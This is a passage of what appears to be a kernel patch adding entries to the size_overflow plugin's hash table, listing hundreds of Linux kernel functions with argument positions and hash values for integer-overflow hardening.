++_000999_hash mpihelp_mul_karatsuba_case 5-3 23918 _003061_hash NULL nohasharray
++_001000_hash __mptctl_ioctl 2 15875 _001000_hash NULL
++_001001_hash mtd_concat_create 2 14416 _001001_hash NULL
++_001002_hash mthca_alloc_cq_buf 3 46512 _001002_hash NULL
++_001003_hash mvumi_alloc_mem_resource 3 47750 _001003_hash NULL
++_001004_hash mwifiex_11n_create_rx_reorder_tbl 4 63806 _001004_hash NULL
++_001005_hash mwifiex_alloc_sdio_mpa_buffers 2-3 60961 _001005_hash NULL
++_001007_hash mwl8k_cmd_set_beacon 4 23110 _001007_hash NULL
++_001008_hash neigh_hash_alloc 1 17595 _001008_hash NULL
++_001009_hash __netdev_alloc_skb 2 18595 _001009_hash NULL
++_001010_hash __netlink_change_ngroups 2 46156 _001010_hash NULL
++_001011_hash netlink_sendmsg 4 33708 _001236_hash NULL nohasharray
++_001012_hash netxen_alloc_sds_rings 2 13417 _001012_hash NULL
++_001013_hash new_bind_ctl 2 35324 _001013_hash NULL
++_001014_hash new_dir 3 31919 _001014_hash NULL
++_001015_hash new_tape_buffer 2 32866 _001015_hash NULL
++_001016_hash nfc_llcp_build_tlv 3 19536 _001016_hash NULL
++_001017_hash nfc_llcp_send_i_frame 3 59130 _001017_hash NULL
++_001018_hash nf_ct_ext_create 3 51232 _001018_hash NULL
++_001019_hash nfs4_alloc_pages 1 48426 _001019_hash NULL
++_001020_hash nfs4_alloc_slots 1 2454 _003345_hash NULL nohasharray
++_001021_hash nfsctl_transaction_write 3 64800 _001021_hash NULL
++_001022_hash nfs_fscache_get_super_cookie 3 44355 _001850_hash NULL nohasharray
++_001023_hash nfs_idmap_request_key 3 30208 _001023_hash NULL
++_001024_hash nfs_pgarray_set 2 1085 _001024_hash NULL
++_001025_hash nl_pid_hash_zalloc 1 23314 _001025_hash NULL
++_001026_hash nr_sendmsg 4 53656 _001026_hash NULL
++_001027_hash nsm_create_handle 4 38060 _001027_hash NULL
++_001028_hash ntfs_copy_from_user_iovec 3-6 49829 _001028_hash NULL
++_001030_hash ntfs_file_buffered_write 4-6 41442 _001030_hash NULL
++_001032_hash __ntfs_malloc 1 34022 _001032_hash NULL
++_001033_hash nvme_alloc_queue 3 46865 _001033_hash NULL
++_001034_hash nvme_map_user_pages 3-4 41093 _001639_hash NULL nohasharray
++_001036_hash ocfs2_acl_from_xattr 2 21604 _001036_hash NULL
++_001037_hash ocfs2_control_message 3 19564 _001037_hash NULL
++_001038_hash _ore_get_io_state 3-5-4 2166 _001038_hash NULL
++_001041_hash orinoco_set_key 5-7 17878 _001041_hash NULL
++_001043_hash osdmap_set_max_osd 2 57630 _002267_hash NULL nohasharray
++_001044_hash _osd_realloc_seg 3 54352 _001044_hash NULL
++_001045_hash osst_execute 7-6 17607 _001045_hash NULL
++_001046_hash osst_write 3 31581 _001046_hash NULL
++_001047_hash otp_read 2-5-4 10594 _001047_hash NULL
++_001050_hash ovs_vport_alloc 1 33475 _001050_hash NULL
++_001051_hash p54_parse_rssical 3 64493 _001051_hash NULL
++_001052_hash p9_client_zc_rpc 7 14345 _001052_hash NULL
++_001053_hash packet_sendmsg_spkt 4 28885 _001053_hash NULL
++_001054_hash pair_device 4 61175 _003161_hash NULL nohasharray
++_001055_hash pccard_store_cis 6 18176 _001055_hash NULL
++_001056_hash pci_add_cap_save_buffer 3 3426 _001056_hash NULL
++_001057_hash pcnet32_realloc_rx_ring 3 36598 _001057_hash NULL
++_001058_hash pcnet32_realloc_tx_ring 3 38428 _001058_hash NULL
++_001059_hash pcpu_mem_zalloc 1 22948 _001059_hash NULL
++_001060_hash pep_sendmsg 4 62524 _001060_hash NULL
++_001061_hash pfkey_sendmsg 4 47394 _001061_hash NULL
++_001062_hash pidlist_resize 2 496 _001062_hash NULL
++_001063_hash pin_code_reply 4 46510 _001063_hash NULL
++_001064_hash ping_getfrag 3-4 8360 _001064_hash NULL
++_001066_hash pipe_set_size 2 5204 _001066_hash NULL
++_001067_hash pkt_bio_alloc 1 48284 _001067_hash NULL
++_001068_hash platform_create_bundle 4-6 12785 _001068_hash NULL
++_001070_hash pm8001_store_update_fw 4 55716 _001070_hash NULL
++_001071_hash pmcraid_alloc_sglist 1 9864 _001071_hash NULL
++_001072_hash pn533_dep_link_up 5 22154 _001072_hash NULL
++_001073_hash pn533_init_target_frame 3 65438 _001073_hash NULL
++_001074_hash pnp_alloc 1 24869 _001538_hash NULL nohasharray
++_001075_hash pn_sendmsg 4 12640 _001075_hash NULL
++_001076_hash pppoe_sendmsg 4 48039 _001076_hash NULL
++_001077_hash pppol2tp_sendmsg 4 56420 _001077_hash NULL
++_001078_hash prism2_info_hostscanresults 3 39657 _001078_hash NULL
++_001079_hash process_vm_rw 3-5 47533 _001079_hash NULL
++_001081_hash process_vm_rw_single_vec 1-2 26213 _001081_hash NULL
++_001083_hash proc_write 3 51003 _001083_hash NULL
++_001084_hash profile_load 3 58267 _001084_hash NULL
++_001085_hash profile_remove 3 8556 _001085_hash NULL
++_001086_hash profile_replace 3 14652 _001086_hash NULL
++_001087_hash pscsi_get_bio 1 56103 _001087_hash NULL
++_001088_hash __pskb_copy 2 9038 _001088_hash NULL
++_001089_hash __pskb_pull_tail 2 60287 _001089_hash NULL
++_001090_hash qla4xxx_alloc_work 2 44813 _001090_hash NULL
++_001091_hash qlcnic_alloc_msix_entries 2 46160 _001091_hash NULL
++_001092_hash qlcnic_alloc_sds_rings 2 26795 _001092_hash NULL
++_001093_hash queue_received_packet 5 9657 _001093_hash NULL
++_001094_hash raw_send_hdrinc 4 58803 _001094_hash NULL
++_001095_hash raw_sendmsg 4 23078 _003316_hash NULL nohasharray
++_001096_hash rawsock_sendmsg 4 60010 _001096_hash NULL
++_001097_hash rawv6_send_hdrinc 3 35425 _001097_hash NULL
++_001098_hash rawv6_setsockopt 5 56165 _001098_hash NULL
++_001099_hash rb_alloc 1 3102 _001099_hash NULL
++_001100_hash rbd_alloc_coll 1 33678 _001100_hash NULL
++_001101_hash rbd_create_rw_ops 1 55297 _001101_hash NULL
++_001102_hash rds_ib_inc_copy_to_user 3 55007 _001102_hash NULL
++_001103_hash rds_iw_inc_copy_to_user 3 29214 _001103_hash NULL
++_001104_hash rds_message_alloc 1 10517 _001104_hash NULL
++_001105_hash rds_message_copy_from_user 3 45510 _001105_hash NULL
++_001106_hash rds_message_inc_copy_to_user 3 26540 _001106_hash NULL
++_001107_hash regcache_rbtree_insert_to_block 5 58009 _001107_hash NULL
++_001108_hash _regmap_raw_write 4 42652 _001108_hash NULL
++_001109_hash regmap_register_patch 3 21681 _001109_hash NULL
++_001110_hash relay_alloc_page_array 1 52735 _001110_hash NULL
++_001111_hash remove_uuid 4 64505 _001111_hash NULL
++_001112_hash reshape_ring 2 29147 _001112_hash NULL
++_001113_hash RESIZE_IF_NEEDED 2 56286 _001113_hash NULL
++_001114_hash resize_info_buffer 2 62889 _001114_hash NULL
++_001115_hash resize_stripes 2 61650 _001115_hash NULL
++_001116_hash rfcomm_sock_sendmsg 4 37661 _003661_hash NULL nohasharray
++_001117_hash roccat_common2_send_with_status 4 50343 _001117_hash NULL
++_001118_hash rose_sendmsg 4 20249 _001118_hash NULL
++_001119_hash rsc_mgr_init 3 16299 _001119_hash NULL
++_001120_hash rxrpc_send_data 5 21553 _001120_hash NULL
++_001121_hash rxrpc_setsockopt 5 50286 _001121_hash NULL
++_001122_hash savu_sysfs_read 6 49473 _001122_hash NULL
++_001124_hash sco_send_frame 3 41815 _001124_hash NULL
++_001125_hash scsi_dispatch_cmd_entry 3 49848 _001125_hash NULL
++_001126_hash scsi_host_alloc 2 63041 _001126_hash NULL
++_001127_hash scsi_tgt_kspace_exec 8 9522 _001127_hash NULL
++_001128_hash sctp_sendmsg 4 61919 _001128_hash NULL
++_001129_hash sctp_setsockopt 5 44788 _001129_hash NULL
++_001130_hash sctp_setsockopt_connectx 3 6073 _001130_hash NULL
++_001131_hash sctp_setsockopt_connectx_old 3 22631 _001131_hash NULL
++_001132_hash sctp_tsnmap_grow 2 32784 _001132_hash NULL
++_001133_hash sctp_tsnmap_init 2 36446 _001133_hash NULL
++_001134_hash sctp_user_addto_chunk 2-3 62047 _001134_hash NULL
++_001136_hash security_context_to_sid 2 19839 _001136_hash NULL
++_001137_hash security_context_to_sid_default 2 3492 _003841_hash NULL nohasharray
++_001138_hash security_context_to_sid_force 2 20724 _001138_hash NULL
++_001139_hash self_check_write 5 50856 _001139_hash NULL
++_001140_hash selinux_transaction_write 3 59038 _001140_hash NULL
++_001141_hash sel_write_access 3 51704 _001141_hash NULL
++_001142_hash sel_write_create 3 11353 _001142_hash NULL
++_001143_hash sel_write_member 3 28800 _001143_hash NULL
++_001144_hash sel_write_relabel 3 55195 _001144_hash NULL
++_001145_hash sel_write_user 3 45060 _001145_hash NULL
++_001146_hash __seq_open_private 3 40715 _001146_hash NULL
++_001147_hash serverworks_create_gatt_pages 1 46582 _001147_hash NULL
++_001148_hash set_connectable 4 56458 _001148_hash NULL
++_001149_hash set_dev_class 4 39645 _001921_hash NULL nohasharray
++_001150_hash set_discoverable 4 48141 _001150_hash NULL
++_001151_hash set_fd_set 1 35249 _001151_hash NULL
++_001152_hash setkey 3 14987 _001152_hash NULL
++_001153_hash set_le 4 30581 _001153_hash NULL
++_001154_hash set_link_security 4 4502 _001154_hash NULL
++_001155_hash set_local_name 4 55757 _001155_hash NULL
++_001156_hash set_powered 4 12129 _001156_hash NULL
++_001157_hash set_ssp 4 62411 _001157_hash NULL
++_001158_hash sg_build_sgat 3 60179 _001158_hash &_000314_hash
++_001159_hash sg_read_oxfer 3 51724 _001159_hash NULL
++_001160_hash shmem_xattr_set 4 11843 _001160_hash NULL
++_001161_hash simple_alloc_urb 3 60420 _001161_hash NULL
++_001162_hash sisusb_send_bridge_packet 2 11649 _001162_hash NULL
++_001163_hash sisusb_send_packet 2 20891 _001163_hash NULL
++_001164_hash sisusb_write_mem_bulk 4 29678 _001164_hash NULL
++_001165_hash skb_add_data_nocache 4 4682 _001165_hash NULL
++_001166_hash skb_copy_datagram_from_iovec 2-5-4 52014 _001166_hash NULL
++_001169_hash skb_copy_expand 2-3 7685 _001169_hash &_000677_hash
++_001171_hash skb_copy_to_page_nocache 6 58624 _001171_hash NULL
++_001172_hash __skb_cow 2 39254 _001172_hash NULL
++_001173_hash skb_cow_data 2 11565 _001173_hash NULL
++_001174_hash skb_pad 2 17302 _001174_hash NULL
++_001175_hash skb_realloc_headroom 2 19516 _001175_hash NULL
++_001176_hash sk_chk_filter 2 42095 _001176_hash NULL
++_001177_hash skcipher_sendmsg 4 30290 _001177_hash NULL
++_001178_hash sl_change_mtu 2 7396 _001178_hash NULL
++_001179_hash slhc_init 1-2 58135 _001179_hash &_000931_hash
++_001181_hash sm501_create_subdev 3-4 48668 _001245_hash NULL nohasharray
++_001183_hash smk_user_access 3 24440 _001183_hash NULL
++_001184_hash smk_write_cipso2 3 1021 _001184_hash NULL
++_001185_hash smk_write_cipso 3 17989 _001185_hash NULL
++_001186_hash smk_write_load2 3 52155 _001186_hash NULL
++_001187_hash smk_write_load 3 26829 _001187_hash NULL
++_001188_hash smk_write_load_self2 3 591 _001188_hash NULL
++_001189_hash smk_write_load_self 3 7958 _001189_hash NULL
++_001190_hash snapshot_write 3 28351 _001190_hash NULL
++_001191_hash snd_ac97_pcm_assign 2 30218 _001191_hash NULL
++_001192_hash snd_card_create 4 64418 _001529_hash NULL nohasharray
++_001193_hash snd_emux_create_port 3 42533 _001193_hash NULL
++_001194_hash snd_gus_dram_write 4 38784 _001194_hash NULL
++_001195_hash snd_midi_channel_alloc_set 1 28153 _001195_hash NULL
++_001196_hash _snd_pcm_lib_alloc_vmalloc_buffer 2 17820 _001196_hash NULL
++_001197_hash snd_pcm_oss_sync1 2 45298 _001197_hash NULL
++_001198_hash snd_pcm_oss_write 3 38108 _001198_hash NULL
++_001199_hash snd_pcm_plugin_build 5 25505 _001199_hash NULL
++_001200_hash snd_rawmidi_kernel_write 3 25106 _001200_hash NULL
++_001201_hash snd_rawmidi_write 3 28008 _001201_hash NULL
++_001202_hash snd_rme32_playback_copy 5 43732 _001202_hash NULL
++_001203_hash snd_rme96_playback_copy 5 13111 _001203_hash NULL
++_001204_hash snd_seq_device_new 4 31753 _001204_hash NULL
++_001205_hash snd_seq_oss_readq_new 2 14283 _001205_hash NULL
++_001206_hash snd_vx_create 4 40948 _001206_hash NULL
++_001207_hash sock_setsockopt 5 50088 _001207_hash NULL
++_001208_hash sound_write 3 5102 _001208_hash NULL
++_001209_hash _sp2d_alloc 1-3-2 16944 _001209_hash NULL
++_001212_hash spi_alloc_master 2 45223 _001212_hash NULL
++_001213_hash spidev_message 3 5518 _001213_hash NULL
++_001214_hash spi_register_board_info 2 35651 _001214_hash NULL
++_001215_hash squashfs_cache_init 2 41656 _001215_hash NULL
++_001216_hash squashfs_read_data 6 59440 _001216_hash NULL
++_001217_hash squashfs_read_fragment_index_table 4 2506 _001217_hash NULL
++_001218_hash squashfs_read_id_index_table 4 61961 _001218_hash NULL
++_001219_hash squashfs_read_inode_lookup_table 4 64739 _001219_hash NULL
++_001220_hash srp_alloc_iu 2 44227 _001220_hash NULL
++_001221_hash srp_iu_pool_alloc 2 17920 _001221_hash NULL
++_001222_hash srp_ring_alloc 2 26760 _001222_hash NULL
++_001226_hash start_isoc_chain 2 565 _001226_hash NULL
++_001227_hash st_write 3 16874 _001227_hash NULL
++_001228_hash svc_pool_map_alloc_arrays 2 47181 _001228_hash NULL
++_001229_hash symtab_init 2 61050 _001229_hash NULL
++_001230_hash sys_bind 3 10799 _001230_hash NULL
++_001231_hash sys_connect 3 15291 _003816_hash NULL nohasharray
++_001232_hash sys_flistxattr 3 41407 _001232_hash NULL
++_001233_hash sys_fsetxattr 4 49736 _001233_hash NULL
++_001234_hash sysfs_write_file 3 57116 _001234_hash NULL
++_001235_hash sys_ipc 3 4889 _001235_hash NULL
++_001236_hash sys_keyctl 4 33708 _001236_hash &_001011_hash
++_001237_hash sys_listxattr 3 27833 _001237_hash NULL
++_001238_hash sys_llistxattr 3 4532 _001238_hash NULL
++_001239_hash sys_lsetxattr 4 61177 _001239_hash NULL
++_001240_hash sys_mq_timedsend 3 57661 _001240_hash NULL
++_001241_hash sys_sched_setaffinity 2 32046 _001241_hash NULL
++_001242_hash sys_select 1 38827 _001242_hash NULL
++_001243_hash sys_semop 3 39457 _001243_hash NULL
++_001244_hash sys_sendto 6 20809 _001244_hash NULL
++_001245_hash sys_setgroups 1 48668 _001245_hash &_001181_hash
++_001246_hash sys_setgroups16 1 48882 _001246_hash NULL
++_001247_hash sys_setxattr 4 37880 _001247_hash NULL
++_001248_hash t4_alloc_mem 1 32342 _001248_hash NULL
++_001249_hash tcf_hash_create 4 54360 _001249_hash NULL
++_001250_hash tcp_send_rcvq 3 11316 _001250_hash NULL
++_001251_hash __team_options_register 3 63941 _001251_hash NULL
++_001252_hash test_unaligned_bulk 3 52333 _001252_hash NULL
++_001253_hash tifm_alloc_adapter 1 10903 _001253_hash NULL
++_001254_hash timeout_write 3 50991 _001254_hash NULL
++_001255_hash timeradd_entry 3 49850 _001255_hash NULL
++_001256_hash tipc_link_send_sections_fast 4 37920 _001256_hash NULL
++_001257_hash tipc_subseq_alloc 1 5957 _001257_hash NULL
++_001258_hash tnode_alloc 1 49407 _001258_hash NULL
++_001259_hash tomoyo_commit_ok 2 20167 _001259_hash NULL
++_001260_hash tomoyo_scan_bprm 2-4 15642 _003488_hash NULL nohasharray
++_001262_hash tps6586x_writes 3 58689 _001262_hash NULL
++_001263_hash tty_buffer_find 2 2443 _001263_hash NULL
++_001264_hash tty_write 3 5494 _001264_hash NULL
++_001265_hash ubifs_setxattr 4 59650 _001477_hash NULL nohasharray
++_001266_hash ubi_self_check_all_ff 4 41959 _001266_hash NULL
++_001267_hash udf_sb_alloc_partition_maps 2 62313 _001267_hash NULL
++_001268_hash udplite_getfrag 3-4 14479 _001268_hash NULL
++_001270_hash ulong_write_file 3 26485 _001270_hash NULL
++_001271_hash unix_stream_sendmsg 4 61455 _001271_hash NULL
++_001272_hash unlink_queued 3-4 645 _001272_hash NULL
++_001273_hash update_pmkid 4 2481 _001273_hash NULL
++_001274_hash usb_alloc_coherent 2 65444 _001274_hash NULL
++_001275_hash vc_resize 2-3 3585 _001275_hash NULL
++_001277_hash vhci_write 3 2224 _001277_hash NULL
++_001278_hash __vhost_add_used_n 3 26554 _001278_hash NULL
++_001279_hash virtqueue_add_buf 3-4 59470 _001279_hash NULL
++_001281_hash vmalloc 1 15464 _001281_hash NULL
++_001282_hash vol_cdev_write 3 40915 _001282_hash NULL
++_001283_hash vxge_device_register 4 7752 _001283_hash NULL
++_001284_hash __vxge_hw_blockpool_malloc 2 5786 _001284_hash NULL
++_001285_hash __vxge_hw_channel_allocate 3 55462 _001285_hash NULL
++_001286_hash vzalloc 1 47421 _001286_hash NULL
++_001287_hash vzalloc_node 1 23424 _001287_hash NULL
++_001288_hash wa_nep_queue 2 8858 _001288_hash NULL
++_001289_hash __wa_xfer_setup_segs 2 56725 _001289_hash NULL
++_001290_hash wiphy_new 2 2482 _001290_hash NULL
++_001291_hash wm8350_block_write 3 19727 _001291_hash NULL
++_001292_hash wpan_phy_alloc 1 48056 _001292_hash NULL
++_001293_hash write_flush_pipefs 3 2021 _001293_hash NULL
++_001294_hash write_flush_procfs 3 44011 _001294_hash NULL
++_001295_hash wusb_ccm_mac 7 32199 _001295_hash NULL
++_001296_hash x25_sendmsg 4 12487 _001296_hash NULL
++_001297_hash xfrm_hash_alloc 1 10997 _001297_hash NULL
++_001298_hash _xfs_buf_get_pages 2 46811 _001298_hash NULL
++_001299_hash xfs_da_grow_inode_int 3 21785 _001299_hash NULL
++_001300_hash xfs_dir_cilookup_result 3 64288 _003160_hash NULL nohasharray
++_001301_hash xfs_idata_realloc 2 26199 _001301_hash NULL
++_001302_hash xfs_iext_add_indirect_multi 3 32400 _001302_hash NULL
++_001303_hash xfs_iext_inline_to_direct 2 12384 _001303_hash NULL
++_001304_hash xfs_iformat_local 4 49472 _001304_hash NULL
++_001305_hash xfs_iroot_realloc 2 46826 _001305_hash NULL
++_001306_hash xhci_alloc_stream_info 3 63902 _001306_hash NULL
++_001307_hash xlog_recover_add_to_trans 4 62839 _001307_hash NULL
++_001308_hash xprt_alloc 2 1475 _001308_hash NULL
++_001309_hash xt_alloc_table_info 1 57903 _001309_hash NULL
++_001310_hash _zd_iowrite32v_async_locked 3 39034 _001310_hash NULL
++_001311_hash zd_usb_iowrite16v 3 49744 _001311_hash NULL
++_001312_hash a2mp_send 4 41615 _001312_hash NULL
++_001313_hash acpi_ds_build_internal_package_obj 3 58271 _001313_hash NULL
++_001314_hash acpi_system_read_event 3 55362 _001314_hash NULL
++_001315_hash acpi_ut_create_buffer_object 1 42030 _001315_hash NULL
++_001316_hash acpi_ut_create_package_object 1 17594 _001316_hash NULL
++_001317_hash acpi_ut_create_string_object 1 15360 _001317_hash NULL
++_001318_hash ad7879_spi_multi_read 3 8218 _001318_hash NULL
++_001319_hash add_child 4 45201 _001319_hash NULL
++_001320_hash add_port 2 54941 _001320_hash NULL
++_001321_hash adu_read 3 24177 _001321_hash NULL
++_001322_hash afs_cell_create 2 27346 _001322_hash NULL
++_001323_hash agp_allocate_memory 2 58761 _001323_hash NULL
++_001324_hash agp_generic_alloc_user 1 9470 _001324_hash NULL
++_001325_hash alc_auto_create_extra_outs 2 18975 _001325_hash NULL
++_001326_hash alloc_agpphysmem_i8xx 1 39427 _001326_hash NULL
++_001327_hash allocate_cnodes 1 5329 _001327_hash NULL
++_001328_hash ___alloc_bootmem 1 11410 _001328_hash NULL
++_001329_hash __alloc_bootmem_low_node 2 25726 _001662_hash NULL nohasharray
++_001330_hash __alloc_bootmem_node 2 1992 _001330_hash NULL
++_001331_hash __alloc_bootmem_node_nopanic 2 6432 _001331_hash NULL
++_001332_hash __alloc_bootmem_nopanic 1 65397 _001332_hash NULL
++_001333_hash alloc_candev 1-2 7776 _001333_hash NULL
++_001335_hash _alloc_cdb_cont 2 23609 _001335_hash NULL
++_001336_hash alloc_dummy_extent_buffer 2 56374 _001336_hash NULL
++_001337_hash ____alloc_ei_netdev 1 51475 _001337_hash NULL
++_001338_hash alloc_etherdev_mqs 1 36450 _001338_hash NULL
++_001339_hash alloc_extent_buffer 3 52824 _001339_hash NULL
++_001340_hash alloc_fcdev 1 18780 _001340_hash NULL
++_001341_hash alloc_fddidev 1 15382 _001341_hash NULL
++_001342_hash _alloc_get_attr_desc 2 470 _001342_hash NULL
++_001343_hash alloc_hippi_dev 1 51320 _001343_hash NULL
++_001344_hash alloc_irdadev 1 19140 _001344_hash NULL
++_001345_hash alloc_ldt 2 21972 _001345_hash NULL
++_001346_hash alloc_ltalkdev 1 38071 _001346_hash NULL
++_001347_hash alloc_one_pg_vec_page 1 10747 _001347_hash NULL
++_001348_hash alloc_orinocodev 1 21371 _001348_hash NULL
++_001349_hash alloc_ring 2-4 18278 _001349_hash NULL
++_001351_hash _alloc_set_attr_list 4 48991 _001351_hash NULL
++_001353_hash alloc_tx 2 32143 _001353_hash NULL
++_001354_hash alloc_wr 1-2 24635 _001354_hash NULL
++_001356_hash async_setkey 3 35521 _001356_hash NULL
++_001357_hash ata_host_alloc_pinfo 3 17325 _001357_hash NULL
++_001360_hash ath6kl_connect_event 7-9-8 14267 _001360_hash NULL
++_001361_hash ath6kl_fwlog_block_read 3 49836 _001361_hash NULL
++_001362_hash ath6kl_fwlog_read 3 32101 _001362_hash NULL
++_001363_hash ath9k_wmi_cmd 4 327 _001363_hash NULL
++_001364_hash ath_rx_init 2 43564 _001364_hash NULL
++_001365_hash ath_tx_init 2 60515 _001365_hash NULL
++_001366_hash atm_alloc_charge 2 19517 _001914_hash NULL nohasharray
++_001367_hash atm_get_addr 3 31221 _001367_hash NULL
++_001368_hash audit_log_n_hex 3 45617 _001368_hash NULL
++_001369_hash audit_log_n_string 3 31705 _001369_hash NULL
++_001370_hash ax25_output 2 22736 _001370_hash NULL
++_001371_hash bcsp_prepare_pkt 3 12961 _001371_hash NULL
++_001372_hash bdx_rxdb_create 1 46525 _001372_hash NULL
++_001373_hash bdx_tx_db_init 2 41719 _001373_hash NULL
++_001374_hash bio_map_kern 3 64751 _001374_hash NULL
++_001375_hash bits_to_user 2-3 47733 _001375_hash NULL
++_001377_hash __blk_queue_init_tags 2 9778 _001377_hash NULL
++_001378_hash blk_queue_resize_tags 2 28670 _001378_hash NULL
++_001379_hash blk_rq_map_user_iov 5 16772 _001379_hash NULL
++_001380_hash bm_init 2 13529 _001380_hash NULL
++_001381_hash brcmf_alloc_wdev 1 60347 _001381_hash NULL
++_001382_hash __btrfs_buffered_write 3 35311 _002735_hash NULL nohasharray
++_001383_hash btrfs_insert_dir_item 4 59304 _001383_hash NULL
++_001384_hash btrfs_map_block 3 64379 _001384_hash NULL
++_001385_hash bt_skb_alloc 1 6404 _001385_hash NULL
++_001386_hash c4_add_card 3 54968 _001386_hash NULL
++_001387_hash cache_read 3 24790 _001387_hash NULL
++_001388_hash cache_write 3 13589 _001388_hash NULL
++_001389_hash calc_hmac 3 32010 _001389_hash NULL
++_001390_hash capinc_tty_write 3 28539 _001390_hash NULL
++_001391_hash ccid_getsockopt_builtin_ccids 2 53634 _001391_hash NULL
++_001392_hash ceph_copy_page_vector_to_user 3-4 31270 _001392_hash NULL
++_001394_hash ceph_parse_server_name 2 60318 _001394_hash NULL
++_001395_hash ceph_read_dir 3 17005 _001395_hash NULL
++_001396_hash cfg80211_roamed 5-7 32632 _001396_hash NULL
++_001398_hash cfpkt_add_body 3 44630 _001398_hash NULL
++_001399_hash cfpkt_create_pfx 1-2 23594 _001399_hash NULL
++_001401_hash cmd_complete 6 51629 _001401_hash NULL
++_001402_hash cmtp_add_msgpart 4 9252 _001402_hash NULL
++_001403_hash cmtp_send_interopmsg 7 376 _001403_hash NULL
++_001404_hash coda_psdev_read 3 35029 _001404_hash NULL
++_001405_hash construct_key_and_link 4 8321 _001405_hash NULL
++_001406_hash copy_counters_to_user 5 17027 _001406_hash NULL
++_001407_hash copy_entries_to_user 1 52367 _001407_hash NULL
++_001408_hash copy_from_buf 2-4 27308 _001408_hash NULL
++_001410_hash copy_oldmem_page 3-1 26164 _001410_hash NULL
++_001411_hash copy_to_user_fromio 3 57432 _001411_hash NULL
++_001412_hash cryptd_hash_setkey 3 42781 _001412_hash NULL
++_001413_hash crypto_authenc_esn_setkey 3 6985 _001413_hash NULL
++_001414_hash crypto_authenc_setkey 3 80 _001414_hash NULL
++_001415_hash cxgb3_get_cpl_reply_skb 2 10620 _001415_hash NULL
++_001416_hash cxgbi_ddp_reserve 4 30091 _001416_hash NULL
++_001417_hash cxio_init_resource_fifo 3 28764 _001417_hash NULL
++_001418_hash cxio_init_resource_fifo_random 3 47151 _001418_hash NULL
++_001419_hash datablob_hmac_append 3 40038 _001419_hash NULL
++_001420_hash datablob_hmac_verify 4 24786 _001420_hash NULL
++_001421_hash dataflash_read_fact_otp 3-2 33204 _001421_hash NULL
++_001422_hash dataflash_read_user_otp 3-2 14536 _001422_hash &_000207_hash
++_001423_hash dccp_feat_register_sp 5 17914 _001423_hash NULL
++_001424_hash dccp_setsockopt 5 60367 _001424_hash NULL
++_001425_hash __dev_alloc_skb 1 28681 _001425_hash NULL
++_001426_hash disk_expand_part_tbl 2 30561 _001426_hash NULL
++_001427_hash diva_os_alloc_message_buffer 1 64568 _001427_hash NULL
++_001428_hash diva_os_copy_to_user 4 48508 _001428_hash NULL
++_001429_hash diva_os_malloc 2 16406 _001429_hash NULL
++_001430_hash dmam_declare_coherent_memory 4-2 43679 _001430_hash NULL
++_001431_hash dm_vcalloc 1-2 16814 _001431_hash NULL
++_001433_hash dn_alloc_skb 2 6631 _001433_hash NULL
++_001434_hash do_proc_readlink 3 14096 _001434_hash NULL
++_001435_hash do_readlink 2 43518 _001435_hash NULL
++_001436_hash __do_replace 5 37227 _001436_hash NULL
++_001437_hash do_sigpending 2 9766 _001437_hash NULL
++_001438_hash drbd_bm_resize 2 20522 _001438_hash NULL
++_001439_hash drbd_setsockopt 5 16280 _001439_hash &_000383_hash
++_001440_hash dump_midi 3 51040 _001440_hash NULL
++_001441_hash ecryptfs_filldir 3 6622 _001441_hash NULL
++_001442_hash ecryptfs_send_message 2 18322 _001442_hash NULL
++_001443_hash ep0_read 3 38095 _001443_hash NULL
++_001444_hash evdev_ioctl 2 22371 _001444_hash NULL
++_001445_hash ext4_add_new_descs 3 19509 _001445_hash NULL
++_001446_hash fat_ioctl_filldir 3 36621 _001446_hash NULL
++_001447_hash _fc_frame_alloc 1 43568 _001447_hash NULL
++_001448_hash fc_host_post_vendor_event 3 30903 _001448_hash NULL
++_001449_hash fd_copyout 3 59323 _001449_hash NULL
++_001450_hash f_hidg_read 3 6238 _001450_hash NULL
++_001451_hash filldir 3 55137 _001451_hash NULL
++_001452_hash filldir64 3 46469 _001452_hash NULL
++_001453_hash find_skb 2 20431 _001453_hash NULL
++_001454_hash from_buffer 3 18625 _001454_hash NULL
++_001455_hash fsm_init 2 16134 _001455_hash NULL
++_001456_hash fs_path_add 3 15648 _001456_hash NULL
++_001457_hash fs_path_add_from_extent_buffer 4 27702 _001457_hash NULL
++_001458_hash fuse_perform_write 4 18457 _001458_hash NULL
++_001459_hash gem_alloc_skb 2 51715 _001459_hash NULL
++_001460_hash generic_file_buffered_write 4 25464 _001460_hash NULL
++_001461_hash gen_pool_add 3 21776 _001461_hash NULL
++_001462_hash get_packet 3 41914 _001462_hash NULL
++_001463_hash get_packet 3 5747 _001463_hash NULL
++_001464_hash get_packet_pg 4 28023 _001464_hash NULL
++_001465_hash get_skb 2 63008 _001465_hash NULL
++_001466_hash get_subdir 3 62581 _001466_hash NULL
++_001467_hash gsm_control_message 4 18209 _001467_hash NULL
++_001468_hash gsm_control_modem 3 55303 _001468_hash NULL
++_001469_hash gsm_control_rls 3 3353 _001469_hash NULL
++_001470_hash handle_received_packet 3 22457 _001470_hash NULL
++_001471_hash hash_setkey 3 48310 _001471_hash NULL
++_001472_hash hdlcdrv_register 2 6792 _001472_hash NULL
++_001473_hash hiddev_ioctl 2 36816 _001473_hash NULL
++_001474_hash hid_input_report 4 32458 _001474_hash NULL
++_001475_hash hidp_queue_report 3 1881 _001475_hash NULL
++_001476_hash __hidp_send_ctrl_message 4 28303 _001476_hash NULL
++_001477_hash hidraw_read 3 59650 _001477_hash &_001265_hash
++_001478_hash HiSax_readstatus 2 15752 _001478_hash NULL
++_001480_hash __hwahc_op_set_gtk 4 42038 _001480_hash NULL
++_001481_hash __hwahc_op_set_ptk 5 36510 _001481_hash NULL
++_001482_hash hycapi_rx_capipkt 3 11602 _001482_hash NULL
++_001483_hash i2400m_net_rx 5 27170 _001483_hash NULL
++_001484_hash ib_copy_to_udata 3 27525 _001484_hash NULL
++_001485_hash idetape_chrdev_read 3 2097 _001485_hash NULL
++_001486_hash ieee80211_alloc_hw 1 43829 _001486_hash NULL
++_001487_hash ieee80211_bss_info_update 4 13991 _001487_hash NULL
++_001488_hash igmpv3_newpack 2 35912 _001488_hash NULL
++_001489_hash ilo_read 3 32531 _001489_hash NULL
++_001490_hash init_map_ipmac 3-4 63896 _001490_hash NULL
++_001492_hash init_tid_tabs 2-4-3 13252 _001492_hash NULL
++_001495_hash iowarrior_read 3 53483 _001495_hash NULL
++_001496_hash ip_options_get 4 56538 _001496_hash NULL
++_001497_hash ipv6_getsockopt_sticky 5 56711 _001497_hash NULL
++_001498_hash ipwireless_send_packet 4 8328 _001498_hash NULL
++_001499_hash ipx_sendmsg 4 1362 _001499_hash NULL
